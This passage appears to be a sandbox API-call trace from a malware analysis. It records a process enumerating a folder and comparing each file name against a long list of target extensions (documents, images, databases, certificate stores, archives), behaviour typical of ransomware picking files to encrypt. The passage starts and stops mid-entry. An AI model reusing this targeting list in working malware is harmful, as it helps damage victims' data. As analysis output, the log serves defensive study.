returned -1 [0084.893] lstrlenW (lpString=".divx") returned 5 [0084.893] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1 [0084.893] lstrlenW (lpString=".djvu") returned 5 [0084.893] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1 [0084.893] lstrlenW (lpString=".dng") returned 4 [0084.893] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1 [0084.893] lstrlenW (lpString=".doc") returned 4 [0084.893] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0084.893] lstrlenW (lpString=".docm") returned 5 [0084.893] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1 [0084.893] lstrlenW (lpString=".docx") returned 5 [0084.893] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0084.893] lstrlenW (lpString=".dot") returned 4 [0084.893] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1 [0084.893] lstrlenW (lpString=".dotm") returned 5 [0084.893] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1 [0084.893] lstrlenW (lpString=".dotx") returned 5 [0084.893] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1 [0084.893] lstrlenW (lpString=".dpx") returned 4 [0084.893] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1 [0084.893] lstrlenW (lpString=".dqy") returned 4 [0084.893] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1 [0084.893] lstrlenW (lpString=".dsn") returned 4 [0084.893] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0084.893] lstrlenW (lpString=".dt") returned 3 [0084.893] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0084.893] lstrlenW (lpString=".dtd") returned 4 [0084.893] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".dwg") returned 4 [0084.894] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".dwt") returned 4 [0084.894] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".dx") returned 3 [0084.894] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0084.894] lstrlenW (lpString=".dxf") returned 4 [0084.894] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".edml") returned 5 [0084.894] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0084.894] lstrlenW (lpString=".efd") returned 4 [0084.894] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".elf") returned 4 [0084.894] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".emf") returned 4 [0084.894] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".emz") returned 4 [0084.894] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".epf") returned 4 [0084.894] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".eps") returned 4 [0084.894] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".epsf") returned 5 [0084.894] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0084.894] lstrlenW (lpString=".epsp") returned 5 [0084.894] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0084.894] lstrlenW (lpString=".erf") returned 4 [0084.894] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".exr") returned 4 [0084.894] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0084.894] lstrlenW (lpString=".f4v") returned 4 [0084.895] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".fido") returned 5 [0084.895] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0084.895] lstrlenW (lpString=".flm") returned 4 [0084.895] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".flv") returned 4 [0084.895] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".frm") returned 4 [0084.895] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".fxg") returned 4 [0084.895] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".geo") returned 4 [0084.895] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".gif") returned 4 [0084.895] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".grs") returned 4 [0084.895] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".gz") returned 3 [0084.895] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0084.895] lstrlenW (lpString=".h") returned 2 [0084.895] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0084.895] lstrlenW (lpString=".hdr") returned 4 [0084.895] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".hpp") returned 4 [0084.895] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".hta") returned 4 [0084.895] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".htc") returned 4 [0084.895] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".htm") returned 4 [0084.895] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0084.895] lstrlenW (lpString=".html") returned 5 [0084.895] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0084.895] lstrlenW (lpString=".icb") returned 4 [0084.896] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".ics") returned 4 [0084.896] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".iff") returned 4 [0084.896] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".inc") returned 4 [0084.896] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".indd") returned 5 [0084.896] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0084.896] lstrlenW (lpString=".ini") returned 4 [0084.896] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".iqy") returned 4 [0084.896] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".j2c") returned 4 [0084.896] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".j2k") returned 4 [0084.896] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".java") returned 5 [0084.896] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0084.896] lstrlenW (lpString=".jp2") returned 4 [0084.896] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".jpc") returned 4 [0084.896] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".jpe") returned 4 [0084.896] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".jpeg") returned 5 [0084.896] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0084.896] lstrlenW (lpString=".jpf") returned 4 [0084.896] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".jpg") returned 4 [0084.896] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0084.896] lstrlenW (lpString=".jpx") returned 4 [0084.896] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".js") returned 3 [0084.897] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0084.897] lstrlenW (lpString=".jsf") returned 4 [0084.897] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".json") returned 5 [0084.897] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0084.897] lstrlenW (lpString=".jsp") returned 4 [0084.897] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".kdc") returned 4 [0084.897] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".kmz") returned 4 [0084.897] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".kwm") returned 4 [0084.897] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".lasso") returned 6 [0084.897] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0084.897] lstrlenW (lpString=".lbi") returned 4 [0084.897] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".lgf") returned 4 [0084.897] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".lgp") returned 4 [0084.897] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".log") returned 4 [0084.897] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".m1v") returned 4 [0084.897] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".m4a") returned 4 [0084.897] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".m4v") returned 4 [0084.897] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".max") returned 4 [0084.897] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0084.897] lstrlenW (lpString=".md") returned 3 [0084.897] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0084.898] lstrlenW (lpString=".mda") returned 4 [0084.898] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mdb") returned 4 [0084.898] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mde") returned 4 [0084.898] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mdf") returned 4 [0084.898] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mdw") returned 4 [0084.898] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mef") returned 4 [0084.898] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mft") returned 4 [0084.898] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mfw") returned 4 [0084.898] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mht") returned 4 [0084.898] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mhtml") returned 6 [0084.898] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0084.898] lstrlenW (lpString=".mka") returned 4 [0084.898] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mkidx") returned 6 [0084.898] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0084.898] lstrlenW (lpString=".mkv") returned 4 [0084.898] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mos") returned 4 [0084.898] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mov") returned 4 [0084.898] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mp3") returned 4 [0084.898] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0084.898] lstrlenW (lpString=".mp4") returned 4 [0084.899] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".mpeg") returned 5 [0084.899] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0084.899] lstrlenW (lpString=".mpg") returned 4 [0084.899] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".mpv") returned 4 [0084.899] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".mrw") returned 4 [0084.899] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".msg") returned 4 [0084.899] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".mxl") returned 4 [0084.899] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".myd") returned 4 [0084.899] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".myi") returned 4 [0084.899] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".nef") returned 4 [0084.899] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".nrw") returned 4 [0084.899] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".obj") returned 4 [0084.899] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".odb") returned 4 [0084.899] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".odc") returned 4 [0084.899] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".odm") returned 4 [0084.899] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".odp") returned 4 [0084.899] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0084.899] lstrlenW (lpString=".ods") returned 4 [0084.899] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".oft") returned 4 [0084.900] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".one") returned 4 [0084.900] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".onepkg") returned 7 [0084.900] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0084.900] lstrlenW (lpString=".onetoc2") returned 8 [0084.900] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0084.900] lstrlenW (lpString=".opt") returned 4 [0084.900] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".oqy") returned 4 [0084.900] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".orf") returned 4 [0084.900] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".p12") returned 4 [0084.900] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".p7b") returned 4 [0084.900] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".p7c") returned 4 [0084.900] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".pam") returned 4 [0084.900] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".pbm") returned 4 [0084.900] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".pct") returned 4 [0084.900] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".pcx") returned 4 [0084.900] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".pdd") returned 4 [0084.900] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".pdf") returned 4 [0084.900] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0084.900] lstrlenW (lpString=".pdp") returned 4 [0084.900] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0084.901] lstrlenW (lpString=".pef") returned 4 [0084.901] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0084.901] lstrlenW (lpString=".pem") returned 4 [0084.901] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0084.901] lstrlenW (lpString=".pff") returned 4 [0084.901] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0084.901] lstrlenW (lpString=".pfm") returned 4 [0084.901] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0084.901] lstrlenW (lpString=".pfx") returned 4 [0084.901] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0084.901] lstrlenW (lpString=".pgm") returned 4 [0084.901] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0084.901] lstrlenW (lpString=".php") returned 4 [0084.901] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0084.901] lstrlenW (lpString=".php3") returned 5 [0084.901] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0084.901] lstrlenW (lpString=".php4") returned 5 [0084.901] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0084.901] lstrlenW (lpString=".php5") returned 5 [0084.901] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0084.901] lstrlenW (lpString=".phtml") returned 6 [0084.901] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0084.901] lstrlenW (lpString=".pict") returned 5 [0084.901] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0084.901] lstrlenW (lpString=".pl") returned 3 [0084.901] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0084.901] lstrlenW (lpString=".pls") returned 4 [0084.901] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0084.901] lstrlenW (lpString=".pm") returned 3 [0084.901] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0084.901] lstrlenW (lpString=".png") returned 4 [0084.901] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0084.901] lstrlenW (lpString=".pnm") returned 4 [0084.902] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0084.902] lstrlenW (lpString=".pot") returned 4 [0084.902] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0084.902] lstrlenW (lpString=".potm") returned 5 [0084.902] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0084.902] lstrlenW (lpString=".potx") returned 5 [0084.902] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0084.902] lstrlenW (lpString=".ppa") returned 4 [0084.902] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0084.902] lstrlenW (lpString=".ppam") returned 5 [0084.902] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0084.902] lstrlenW (lpString=".ppm") returned 4 [0084.902] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0084.902] lstrlenW (lpString=".pps") returned 4 [0084.902] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0084.902] lstrlenW (lpString=".ppsm") returned 5 [0084.902] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0084.902] lstrlenW (lpString=".ppt") returned 4 [0084.902] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0084.902] lstrlenW (lpString=".pptm") returned 5 [0084.902] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0084.902] lstrlenW (lpString=".pptx") returned 5 [0084.902] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0084.902] lstrlenW (lpString=".prn") returned 4 [0084.902] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0084.902] lstrlenW (lpString=".ps") returned 3 [0084.902] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0084.902] lstrlenW (lpString=".psb") returned 4 [0084.902] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0084.902] lstrlenW (lpString=".psd") returned 4 [0084.902] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0084.902] lstrlenW (lpString=".pst") returned 4 [0084.902] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0084.902] lstrlenW (lpString=".ptx") returned 4 [0084.903] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0084.903] lstrlenW (lpString=".pub") returned 4 [0084.903] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0084.903] lstrlenW (lpString=".pwm") returned 4 [0084.903] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0084.903] lstrlenW (lpString=".pxr") returned 4 [0084.903] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0084.903] lstrlenW (lpString=".py") returned 3 [0084.903] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0084.903] lstrlenW (lpString=".qt") returned 3 [0084.903] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0084.903] lstrlenW (lpString=".r3d") returned 4 [0084.903] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0084.903] lstrlenW (lpString=".raf") returned 4 [0084.903] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0084.903] lstrlenW (lpString=".rar") returned 4 [0084.903] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0084.903] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0084.903] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0084.904] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0084.904] FindClose (in: hFindFile=0x4260650 | out: hFindFile=0x4260650) returned 1 [0084.904] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0084.904] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1 [0084.904] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0084.904] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045") returned 26 [0084.904] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0084.905] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0084.905] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0084.905] lstrlenW (lpString="eula.rtf") returned 8 [0084.905] lstrlenW (lpString=".1cd") returned 4 [0084.905] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0084.905] lstrlenW (lpString=".3ds") returned 4 [0084.905] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0084.905] lstrlenW (lpString=".3fr") returned 4 [0084.905] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0084.905] lstrlenW (lpString=".3g2") returned 4 [0084.905] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0084.905] lstrlenW (lpString=".3gp") returned 4 [0084.905] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0084.905] lstrlenW (lpString=".7z") returned 3 [0084.905] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0084.905] lstrlenW (lpString=".accda") returned 6 [0084.905] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0084.905] lstrlenW (lpString=".accdb") returned 6 [0084.905] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0084.905] lstrlenW (lpString=".accdc") returned 6 [0084.905] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0084.906] lstrlenW (lpString=".accde") returned 6 [0084.906] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0084.906] lstrlenW (lpString=".accdt") returned 6 [0084.906] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0084.906] lstrlenW (lpString=".accdw") returned 6 [0084.906] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0084.906] lstrlenW (lpString=".adb") returned 4 [0084.906] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0084.906] lstrlenW (lpString=".adp") returned 4 [0084.906] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0084.906] lstrlenW (lpString=".ai") returned 3 [0084.906] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0084.906] lstrlenW (lpString=".ai3") returned 4 [0084.906] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0084.906] lstrlenW (lpString=".ai4") returned 4 [0084.906] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0084.906] lstrlenW 